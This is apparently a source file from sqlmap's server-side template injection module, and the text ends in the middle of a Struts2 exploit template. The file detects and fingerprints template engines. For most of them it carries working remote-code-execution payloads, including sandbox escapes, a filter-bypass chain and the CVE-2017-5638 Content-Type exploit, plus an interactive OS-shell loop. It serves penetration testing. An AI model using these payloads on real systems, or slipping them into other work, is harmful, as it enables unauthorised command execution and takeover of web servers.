#!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import difflib import re import time from collections import namedtuple from lib.core.common import beep from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.settings import SSTI_ERROR_SIGNATURES from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request from thirdparty.six.moves.urllib.parse import quote as _quote SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) # Each Engine entry defines detection payloads and expected behaviour for one # template engine. Arithmetic fields use %d placeholders filled with randomInt() # at probe time so a static "49" on the page cannot produce a false positive. # Engines are listed in detection-priority order. Engine = namedtuple("Engine", ( "name", # human-readable engine name "family", # language family (python, php, java, ruby, nodejs) "delimiter", # expression delimiter opening (e.g. "{{") "delimiterClose", # expression delimiter closing (e.g. "}}") "errorRegex", # combined engine-specific error regex (None for "no specific signature") "errorProbes", # tuple of malformed payload suffixes that trigger engine errors "arithmeticFmt", # arithmetic proof with two %d placeholders (e.g. "{{ %d*%d }}"), or "" "arithmeticUnescapedFmt", # same with escape bypass (e.g. "{{ (%d*%d)|safe }}"), or "" "booleanTrue", # boolean true payload "booleanFalse", # boolean false payload "trueRendered", # what true renders as (for response matching) "falseRendered", # what false renders as "distinguishingProbe", # cross-engine disambiguation probe (None if n/a) "distinguishingResult", # expected substring from disambiguation probe "expressionFmt", # format string for wrapping expressions (e.g. "{{ %s }}"), or "" "rcePayloads", # tuple of (payload_template, description) with {CMD} for command, or () )) def _arithmeticPayload(fmt, a, b): # Substitute the two operands into the first two %d tokens by literal replacement rather than # %-formatting: some engines' delimiters contain a literal '%' (e.g. ERB '<%= ... %>'), where # fmt % (a, b) raises ValueError and would silently disable arithmetic detection for them. return fmt.replace("%d", str(a), 1).replace("%d", str(b), 1) def _degroup(text): # Strip digit-group (thousands) separators so an arithmetic result still matches when the # engine formats large numbers with grouping (e.g. FreeMarker renders 234*567 as "132,678"). # Only separators sitting between digits are removed, so ordinary text is untouched. return re.sub(u"(?<=\\d)[,\u00a0\u202f\u2009']" + u"(?=\\d)", "", getUnicode(text)) _ENGINE_TABLE = ( # -- Python ------------------------------------------------------------------------------------------- Engine("Jinja2", "python", "{{", "}}", r"(?i)(?:jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError)", ("{{", "{{ }}", "{{ unknown|filter }}"), "{{ %d*%d }}", "{{ (%d*%d)|safe }}", "{{ True }}", "{{ False }}", "True", "False", None, None, # Jinja2/Twig distinguished by trueRendered ("True"/"False" vs "1"/"") "{{ %s }}", # Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum -> attr()-chain). # The last one is dot-/underscore-free (filters + \x5f-escaped dunders), bypassing # sanitisers that block '.'/'_' (the CVE-2025-23211 Tandoor technique). (("{{ cycler.__init__.__globals__.os.popen('{CMD}').read() }}", "cycler.__globals__"), ("{{ config.from_envvar.__globals__.__builtins__.__import__('os').popen('{CMD}').read() }}", "config.from_envvar chain"), ("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"), ("{{ cycler|attr('\\x5f\\x5finit\\x5f\\x5f')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('os')|attr('popen')('{CMD}')|attr('read')() }}", "attr() filter chain (dot/underscore-free)"))), Engine("Mako", "python", "${", "}", r"(?i)(?:mako\.exceptions\.\w+|mako\.runtime|CompileException|SyntaxException)", ("${", "${}", "<%", "<%!"), "${%d*%d}", "", "${True}", "${False}", "True", "False", None, None, # capital True/False uniquely identifies Mako within the ${ } family (Freemarker/Spring render lowercase true/false) "${%s}", # Mako: popen captures output; self.module.runtime path needs no <%import%> preamble (("${self.module.runtime.util.os.popen('{CMD}').read()}", "self.module.runtime.util.os.popen"), ("<%import os%>${os.popen('{CMD}').read()}", "import os + popen"))), # -- PHP ---------------------------------------------------------------------------------------------- Engine("Twig", "php", "{{", "}}", r"(?i)(?:Twig[\\_]Error|Twig[\\_]Environment|syntax error, unexpected|Unknown (?:filter|function|test|tag))", ("{{", "{{ }}", "{{ unknown|filter }}"), "{{ %d*%d }}", "{{ (%d*%d)|raw }}", "{{ true }}", "{{ false }}", "1", "", # '_self' renders 'Twig_Template' (Twig 1) or '__string_template__...' (Twig 2/3); # 'emplate' is the substring common to both, so the probe is version-stable "{{ _self }}", "emplate", "{{ %s }}", # Twig: filter() chain first; then sort()/map() callbacks, which double as classic # sandbox escapes when 'filter' is not on the policy allow-list (DEEP1 Phishtale) (("{{ ['{CMD}']|filter('system') }}", "filter('system')"), ("{{ ['{CMD}']|filter('exec') }}", "filter('exec')"), ("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"), ("{{ ['{CMD}', '']|sort('system')|join }}", "sort('system') sandbox escape"), ("{{ ['{CMD}']|map('system')|join }}", "map('system') sandbox escape"))), # -- Java --------------------------------------------------------------------------------------------- Engine("Freemarker", "java", "${", "}", r"(?i)(?:freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException)", ("${", "${}", "<#if ", "<#--"), "${%d*%d}", "${(%d*%d)?no_esc}", # modern FreeMarker errors on a bare ${true} ("boolean_format"); ?c gives the # computer-format "true"/"false" string, so the boolean oracle works on real FreeMarker "${true?c}", "${false?c}", "true", "false", # Freemarker '?builtin' syntax (SpEL/Thymeleaf can't parse '?upper_case' -> errors there), # giving an intrinsic, non-empty discriminator from Spring within the shared '${ }' family '${"sstimark"?upper_case}', "SSTIMARK", "${%s}", # Freemarker: classic -> indirect-assign fallback (("${'freemarker.template.utility.Execute'?new()('{CMD}')}", "Execute?new"), ("<#assign ex='freemarker.template.utility.Execute'?new()>${ex('{CMD}')}", "assign+new"))), Engine("Velocity", "java", "$", "", r"(?i)(?:org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException)", ("$", "#if(", "#set($x=)"), "", "", "#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE", "#* velocity *#", "", "", # no generic expression wrapper # Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName() # reflection chain - needs NO velocity-tools $class in the context - reading the process # stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools # ClassTool ($class) form, for apps that expose it. (("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))" "#set($chr=$x.class.forName('java.lang.Character'))" "#set($str=$x.class.forName('java.lang.String'))" "#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" "#set($out=$ex.getInputStream())" "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"), ("#set($str=$class.inspect('java.lang.String').type)" "#set($chr=$class.inspect('java.lang.Character').type)" "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" "#set($out=$ex.getInputStream())" "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))), Engine("Spring EL / Thymeleaf", "java", "${", "}", r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)", ("${", "${}", "#{", "*{"), "${%d*%d}", "", "${true}", "${false}", "true", "false", # SpEL Java method call (Freemarker uses '?upper_case', not '.toUpperCase()' -> errors # there), giving an intrinsic, non-empty discriminator from Freemarker in '${ }' "${'sstimark'.toUpperCase()}", "SSTIMARK", "${%s}", # SpEL: read the process stdout (so output is captured, not just a Process object); # then a blind exec; then the OGNL form for engines that parse OGNL instead of SpEL (("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"), ("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"), ("${(#rt=@java.lang.Runtime@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))), Engine("Struts2 (OGNL)", "java", "%{", "}", r"(?i)(?:ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)|InaccessibleObjectException)", ("%{", "%{}", "%{1/0}"), "%{%d*%d}", "", "%{true}", "%{false}", "true", "false", None, None, # '%{' is unique in the table -> arithmetic proof alone names Struts2 OGNL "%{%s}", # Struts2 OGNL: modern chain resets the sandbox (#_memberAccess) then reads the process # stdout in-band; the legacy @Runtime@ form is a blind fallback for old (pre-sandbox) Struts. (("%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD}'})).(#p.redirectErrorStream(true)).(#pr=#p.start()).(#sc=new java.util.Scanner(#pr.getInputStream()).useDelimiter('\\\\A')).(#sc.hasNext()?#sc.next():'')}", "memberAccess reset + ProcessBuilder (output)"), ("%{(#a=@java.lang.Runtime@getRuntime().exec('{CMD}'))}", "@Runtime@getRuntime (blind, legacy)"))), # -- Ruby --------------------------------------------------------------------------------------------- Engine("ERB", "ruby", "<%=", "%>", r"(?i)(?:erb|SyntaxError|undefined local variable|no implicit conversion|wrong number of arguments|\(erb\):\d+)", ("<%=", "<%", "<%#", "<%= foo.unknown_method %>"), "<%= %d*%d %>", "<%= raw %d*%d %>", "<%= true %>", "<%= false %>", "true", "false", "<%= defined? Rails %>", "", "<%= %s %>", # ERB: backtick captures output; system() returns only exit status (("<%= `{CMD}` %>", "backtick"),)), # -- Node.js ------------------------------------------------------------------------------------------ Engine("Pug/Jade", "nodejs", "#{", "}", r"(?i)(?:pug|jade|Cannot read propert|is not a function|TypeError|ReferenceError)", ("#{", "!{", "#{ }"), "#{%d*%d}", "!{%d*%d}", "#{true}", "#{false}", "true", "false", None, None, "#{%s}", (("#{global.process.mainModule.require('child_process').execSync('{CMD}')}", "execSync"),)), Engine("Handlebars", "nodejs", "{{", "}}", r"(?i)(?:handlebars|Handlebars|Parse error on line|\{\{[\w.]+\}\})", ("{{", "{{#if}}", "{{/each}}"), "", "", "{{#if true}}yes{{/if}}", "{{#if false}}yes{{/if}}", "yes", "", None, None, "", # no generic expression wrapper without registered helpers ()), # RCE requires pre-registered helpers; not generically exploitable ) def _ratio(first, second): return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' def _confParameters(place): try: return conf.parameters.get(place, "") except AttributeError: return conf.parameters[place] if place in conf.parameters else "" def _originalValue(place, parameter): for segment in _confParameters(place).split(_delim(place)): name, _, value = segment.partition('=') if name.strip() == parameter: return value return conf.paramDict.get(place, {}).get(parameter) or "" def _replaceSegment(place, parameter, value): delimiter = _delim(place) raw = _confParameters(place) retVal, replaced = [], False for part in raw.split(delimiter): name, _, _ = part.partition('=') if not replaced and name.strip() == parameter: retVal.append("%s=%s" % (name, value)) replaced = True else: retVal.append(part) if not replaced: retVal = [] for name, oldValue in conf.paramDict.get(place, {}).items(): retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) return delimiter.join(retVal) def _send(place, parameter, value): """Issue a single HTTP request with the target parameter set to `value`. Temporarily mutates conf.parameters so sqlmap's normal request machinery (URL construction, cookies, headers, encodings) is fully preserved.""" if conf.delay: time.sleep(conf.delay) old_params = conf.parameters.get(place, "") # URL-encode the injected value so payload metacharacters survive on the wire: '%' (OGNL/ERB # delimiters, e.g. Struts2 '%{...}'), '#' (OGNL context vars / fragment delimiter), and '&'/'='/ # space would otherwise be mangled or split by the server before the template ever sees them. conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) try: kwargs = {"raise404": False, "silent": True} if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) page, _, _ = Request.getPage(**kwargs) return page or "" except Exception as ex: logger.debug("SSTI probe request failed: %s" % getUnicode(ex)) return "" finally: conf.parameters[place] = old_params def _isError(page, engine): if not engine.errorRegex: return False return bool(re.search(engine.errorRegex, getUnicode(page or ""))) def _backendFromError(page): page = getUnicode(page or "") for name, regex in SSTI_ERROR_SIGNATURES: if re.search(regex, page): return name return None def _boolean(truthy, falsy): """Return the reproducible true page when true/false probes diverge. Both true AND false pages must be independently reproducible.""" truePage = truthy() if truePage is None: return None truePage2 = truthy() if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: return None falsePage = falsy() if falsePage is None: return None falsePage2 = falsy() if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND: return None if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: return truePage return None def _probeArithmetic(place, parameter, engine): """Inject a random arithmetic expression and its control pair (different operands, different result). Both results must appear for their respective payloads and NOT bleed across, proving the template is executing the expression rather than a static '49' appearing on the page by coincidence.""" if not engine.arithmeticFmt: return False original = _originalValue(place, parameter) or "" a, b = randomInt(3), randomInt(3) c = b + 1 # different operand -> different result result1 = str(a * b) result2 = str(a * c) for fmt in (engine.arithmeticFmt, engine.arithmeticUnescapedFmt): if not fmt: continue try: p1 = original + _arithmeticPayload(fmt, a, b) p2 = original + _arithmeticPayload(fmt, a, c) except (ValueError, TypeError): logger.debug("SSTI arithmetic: format failed for engine '%s' with fmt=%r" % (engine.name, fmt)) continue page1 = _send(place, parameter, p1) page2 = _send(place, parameter, p2) if not page1 or not page2: continue text1 = getUnicode(page1) text2 = getUnicode(page2) # Raw payload reflection means the template did NOT execute if p1 in text1 or p2 in text2: continue # Match against a digit-group-stripped copy so a grouped result (e.g. FreeMarker's # "132,678") still counts; the raw-reflection check above stays on the original text. norm1, norm2 = _degroup(text1), _degroup(text2) # Each result must appear in its own response and NOT in the other if result1 in norm1 and result2 not in norm1 and result2 in norm2 and result1 not in norm2: return True return False def _probeError(place, parameter, engine): """Inject each error probe suffix and check for engine-specific error messages.""" if not engine.errorRegex or not engine.errorProbes: return None original = _originalValue(place, parameter) or "" for probe in engine.errorProbes: payload = original + probe page = _send(place, parameter, payload) if not page: continue if _isError(page, engine): return page return None # A divide-by-zero error is language-family specific, which separates engines that SHARE a # delimiter but run on different runtimes (Jinja2/Python vs Twig/PHP in '{{ }}', or Mako/Python # vs Freemarker/Spring/Java in '${ }'). Matching is case-SENSITIVE so Python's lowercase # 'division by zero' is not confused with PHP's capitalised 'Division by zero'. JS is omitted on # purpose: 1/0 yields Infinity there rather than an error, so it carries no family signal. _FAMILY_DIVZERO = ( ("python", re.compile(r"division by zero")), ("ruby", re.compile(r"divided by 0")), ("php", re.compile(r"DivisionByZeroError|Division by zero")), ("java", re.compile(r"ArithmeticException|/ by zero")), ) def _probeFamily(place, parameter, engine, cache): """Inject a divide-by-zero inside the engine's delimiter and infer the backend language family from the resulting error. Returns the family string or None. Responses are cached by payload so engines that share a delimiter ('{{1/0}}' etc.) cost a single request.""" if not engine.arithmeticFmt or not engine.delimiterClose: return None payload = (_originalValue(place, parameter) or "") + engine.delimiter + "1/0" + engine.delimiterClose if payload not in cache: cache[payload] = _send(place, parameter, payload) page = cache[payload] if not page: return None text = getUnicode(page) if payload in text: # raw reflection -> template did not execute it return None for family, regex in _FAMILY_DIVZERO: if regex.search(text): return family return None def _probeDistinguishing(place, parameter, engine): """Send the engine-specific fingerprint probe and verify the response. For probes with a non-empty expected result, the result must appear and the raw probe must NOT be reflected verbatim. For empty-result (comment-style) probes, the response must stay similar to baseline and the probe must NOT appear in the output.""" if not engine.distinguishingProbe: return False original = _originalValue(place, parameter) or "" probe = engine.distinguishingProbe page = _send(place, parameter, original + probe) if page is None: return False text = getUnicode(page) # Reject raw reflection: if the probe appears verbatim, the template didn't execute it if probe in text: return False if engine.distinguishingResult: return engine.distinguishingResult in text # Empty-result (comment-style) probe: response must stay similar to baseline baseline = _send(place, parameter, original) return _ratio(page, baseline) >= UPPER_RATIO_BOUND def _detectBoolean(place, parameter, engine): """Establish a boolean oracle for this engine. Returns the true template or None.""" original = _originalValue(place, parameter) or "" truePayload = original + engine.booleanTrue falsePayload = original + engine.booleanFalse if engine.trueRendered: truePage = _send(place, parameter, truePayload) if not truePage: return None text = getUnicode(truePage) if truePayload in text or engine.trueRendered not in text: return None # Reject reflected false payload falsePage = _send(place, parameter, falsePayload) if falsePage and falsePayload in getUnicode(falsePage): return None return _boolean(lambda p=truePayload: _send(place, parameter, p), lambda p=falsePayload: _send(place, parameter, p)) def _booleanUniquelyIdentifies(engine): """Returns True when the engine's boolean rendering signature is unique among all engines sharing the same delimiter, allowing exact naming.""" siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter] signature = (engine.booleanTrue, engine.booleanFalse, engine.trueRendered, engine.falseRendered) count = sum((e.booleanTrue, e.booleanFalse, e.trueRendered, e.falseRendered) == signature for e in siblings) return count == 1 def _familyUniquelyIdentifies(engine): """Returns True when the engine's language family is unique among engines sharing the same delimiter, so a divide-by-zero family probe is enough to name it exactly.""" siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter] return sum(e.family == engine.family for e in siblings) == 1 # Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these # needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for # "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine. _SHARED_DELIMITERS = frozenset(("{{", "${")) def _fingerprint(place, parameter): """Identify the template engine and confirm injection. Returns (engine, evidence) where evidence is a dict of detection results, or (None, None). Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2) + family(1). Engines sharing delimiters require error, distinguishing, unique boolean rendering, or a uniquely-identifying language family to be named exactly; otherwise they are reported as family/probable.""" bestEngine = None bestEvidence = None bestScore = 0 divZeroCache = {} for engine in _ENGINE_TABLE: evidence = {} score = 0 # Phase 1: Arithmetic in-band proof with control pair (strongest) if _probeArithmetic(place, parameter, engine): evidence["arithmetic"] = True score += 3 # Phase 2: Boolean oracle if _detectBoolean(place, parameter, engine): evidence["boolean"] = True score += 2 # Phase 3: Error-based fingerprinting errorPage = _probeError(place, parameter, engine) if errorPage is not None: if _isError(errorPage, engine): evidence["error"] = True score += 1 # Phase 4: Distinguishing probe (breaks ties within delimiter families) if _probeDistinguishing(place, parameter, engine): evidence["distinguishing"] = True score += 2 # Phase 5: language-family confirmation via divide-by-zero error class if _probeFamily(place, parameter, engine, divZeroCache) == engine.family: evidence["family"] = True score += 1 if score > bestScore: bestScore = score bestEngine = engine bestEvidence = evidence # A decisive arithmetic proof on an engine whose delimiter no other engine shares # is unambiguous: stop scanning the remaining engines (all phases of THIS engine # already ran, so its evidence is complete) instead of exhaustively testing all nine. if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS: break if bestEngine and bestScore >= 3: # For engines with ambiguous delimiters (shared by multiple engines), # name a specific engine when: error fingerprint, distinguishing probe, # or boolean rendering is unique within the delimiter family. _FAMILY = { "{{": "Jinja2/Twig/Handlebars-like", "${": "Freemarker/SpringEL/Mako-like", } if bestEngine.delimiter in _FAMILY: if (bestEvidence.get("error") or bestEvidence.get("distinguishing") or (bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine)) or (bestEvidence.get("family") and _familyUniquelyIdentifies(bestEngine))): pass # specific engine name stands else: bestEngine = bestEngine._replace( name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name)) return bestEngine, bestEvidence # Fallback: generic error detection errorBackend = None for suffix in ("{{", "${", "<%=", "#{"): page = _send(place, parameter, _originalValue(place, parameter) + suffix) if page: backend = _backendFromError(page) if backend: errorBackend = backend break if errorBackend: for engine in _ENGINE_TABLE: if engine.name.lower() in errorBackend.lower(): return engine, {"error": True} return None, None def sstiScan(): debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints " debugMsg += "common template engines when possible. SQL enumeration " debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" logger.debug(debugMsg) # CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2 # vector that needs no request parameter, so it is probed once up front. if _probeStruts2Header(conf.url): logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE) if conf.beep: beep() report = ("---\nParameter: %s ((custom) HEADER)\n Type: SSTI\n" " Title: Struts2 OGNL injection via Content-Type header (CVE-2017-5638)\n" " Payload: %s: %%{(#_memberAccess=...).(...)}\n---" % (HTTP_HEADER.CONTENT_TYPE, HTTP_HEADER.CONTENT_TYPE)) conf.dumper.singleString(report) if not any(conf.get(_) for _ in ("osCmd", "osShell")): logger.info("the back-end 'Struts2 (OGNL)' allows OS command execution via this injection; " "you are advised to try '--os-shell' (interactive) or '--os-cmd=' (single command)") if conf.get("osCmd"): _dumpS2045(conf.url, conf.osCmd) if conf.get("osShell"): _osShell(lambda cmd: _dumpS2045(conf.url, cmd)) logger.info("SSTI scan complete") return if not conf.paramDict: logger.error("no request parameters to test (use --data, GET params, or similar)") return tested = 0 found = [] for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict): # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 if place == PLACE.COOKIE and conf.level < 2: continue for parameter in list(conf.paramDict[place].keys()): if conf.testParameter and parameter not in conf.testParameter: continue tested += 1 logger.info("testing SSTI on %s parameter '%s'" % (place, parameter)) engine, evidence = _fingerprint(place, parameter) if engine: found.append((place, parameter, engine, evidence)) logger.info("%s parameter '%s' is vulnerable to SSTI (back-end: '%s')" % (place, parameter, engine.name)) if conf.beep: beep() if engine.arithmeticFmt: payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7) else: payload = _originalValue(place, parameter) + engine.booleanTrue title = "SSTI %s injection" % engine.name report = "---\nParameter: %s (%s)\n Type: SSTI\n Title: %s\n Payload: %s=%s\n---" % (parameter, place, title, parameter, payload) conf.dumper.singleString(report) if evidence.get("arithmetic"): logger.info("in-band arithmetic proof confirmed (control-pair)") if evidence.get("boolean"): logger.info("boolean oracle confirmed") if not found: if tested: warnMsg = "no parameter appears to be injectable via SSTI (%d tested)" % tested else: warnMsg = "no parameters found to test for SSTI" logger.warning(warnMsg) else: engines = set(engine.name for _, _, engine, _ in found) if len(engines) == 1: logger.info("back-end template engine: '%s'" % engines.pop()) else: logger.info("back-end template engines: %s" % ", ".join(sorted(engines))) if found: slot = found[0] place, parameter, engine, evidence = slot wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) # If the user did not ask for exploitation, confirm (benignly) whether OS command # execution is reachable and, if so, advise the relevant switches. if not wantsTakeover and _canTakeover(engine, evidence) and _probeRce(place, parameter, engine): logger.info("the back-end '%s' allows OS command execution via this injection; " "you are advised to try '--os-shell' (interactive) or " "'--os-cmd=' (single command)" % engine.name) # --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags) if conf.get("osCmd") or conf.get("osShell"): if not _canTakeover(engine, evidence): logger.error("takeover requires exact engine fingerprint (got '%s') and " "confirmed proof (arithmetic or boolean oracle)" % engine.name) else: if conf.get("osCmd"): _executeCommand(place, parameter, engine, conf.osCmd) # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which # reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. if conf.get("osShell"): _osShell(lambda cmd: _executeCommand(place, parameter, engine, cmd)) logger.info("SSTI scan complete") def _escapeSingleQuoted(value): """Escape backslashes and single quotes for embedding in a single-quoted string.""" return value.replace("\\", "\\\\").replace("'", "\\'") def _canTakeover(engine, evidence): """Require exact engine fingerprint (not a family guess) and confirmed proof before attempting OS command execution.""" if not engine.rcePayloads: return False if "(probable" in engine.name or "-like" in engine.name: return False if not (evidence.get("arithmetic") or evidence.get("boolean")): return False return True # Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private # java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any # recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the # command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read # that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path. _FILE_RCE = { "Spring EL / Thymeleaf": ( "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}", "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", ), "Struts2 (OGNL)": ( "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}", "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}", ), } def _commandOutput(page, baseline, original, payload, engine): """Extract genuine command output from a response via baseline diff, rejecting error pages and reflected-payload fragments. Returns the cleaned output string, or None when there is none.""" if not page: return None if engine.errorRegex and _isError(page, engine): return None text = getUnicode(page) baseText = getUnicode(baseline or "") output = "" if baseText and text != baseText: sm = difflib.SequenceMatcher(None, baseText, text) parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")] if parts: output = "".join(parts).strip() if not output: output = text if original and output.startswith(original): output = output[len(original):] output = output.strip() # A template that ECHOED our payload directive instead of executing it is reflection, not output. if output and output in payload: return None # A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.." # on JDK8) means the command RAN but its stdout was never captured (a blind exec) - not real output, # so reject it and let the caller fall through to the file-based capture (_FILE_RCE). if output and re.search(r"Process\[pid=|(?:UNIXProcess|ProcessImpl|Process)@[0-9a-f]", output): return None if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): return output return None def _fileRceCapture(place, parameter, engine, original, cmd, extract): """Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload (redirects the command's output to a random temp file), then poll-read that file. 'extract' is a callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), so the read is retried a few times. Returns whatever 'extract' yields, else None.""" spec = _FILE_RCE.get(engine.name) if not spec: return None execTemplate, readTemplate = spec outFile = "/tmp/%s" % randomStr(length=12, lowercase=True) execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile) _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored readPayload = readTemplate.replace("{OUTFILE}", outFile) for _ in range(3): page = _send(place, parameter, original + readPayload) result = extract(readPayload, page) if result is not None: return result time.sleep(1) return None def _probeRce(place, parameter, engine): """Benign, quiet RCE-capability check: run `echo ` via the engine's RCE payloads and return True if the marker is reflected (proving OS command execution is reachable). Used only to advise the user; it has no side effect beyond echoing a random token.""" if not engine.rcePayloads: return False marker = randomStr(length=12, lowercase=True) original = _originalValue(place, parameter) or "" for payloadTemplate, _description in engine.rcePayloads: payload = payloadTemplate.replace("{CMD}", "echo %s" % marker) page = _send(place, parameter, original + payload) if page and marker in getUnicode(page): return True # in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker, lambda readPayload, page: True if (page and marker in getUnicode(page)) else None)) def _executeCommand(place, parameter, engine, cmd): """Execute an OS command via the engine's RCE payloads, trying each fallback in order until one produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE).""" safeCmd = _escapeSingleQuoted(cmd) original = _originalValue(place, parameter) or "" baseline = _send(place, parameter, original) for payloadTemplate, description in engine.rcePayloads: payload = payloadTemplate.replace("{CMD}", safeCmd) page = _send(place, parameter, original + payload) output = _commandOutput(page, baseline, original, payload, engine) if output is not None: conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output)) return output = _fileRceCapture(place, parameter, engine, original, cmd, lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine)) if output is not None: conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output)) return logger.warning("no output received for OS command '%s'" % cmd) def _osShell(execFn): """Shared interactive OS-shell loop (runs under --batch like the SQL one). execFn(cmd) runs and reports a single command. EOF / 'exit' / 'quit' leaves.""" from lib.core.common import readInput logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") while True: cmd = readInput("os-shell> ", checkBatch=False) if not cmd or cmd.strip().lower() in ("exit", "quit"): break execFn(cmd.strip()) # CVE-2017-5638 (S2-045): OGNL injection via the Content-Type header of a Jakarta-multipart Struts2 # action - a distinct vector from the parameter one: the Content-Type is NOT reflected, so the payload # writes its result straight to the HTTP response. The prefix resets OGNL member access and clears the # excluded classes/packages (the modern-Struts2 sandbox); {ACTION} prints a marker (detection) or runs # a command and copies its stdout to the response (exploitation). _S2045_TEMPLATE = ("%{(#nike='multipart/form-data')." "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." "(#_memberAccess?(#_memberAccess=#dm):" "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." 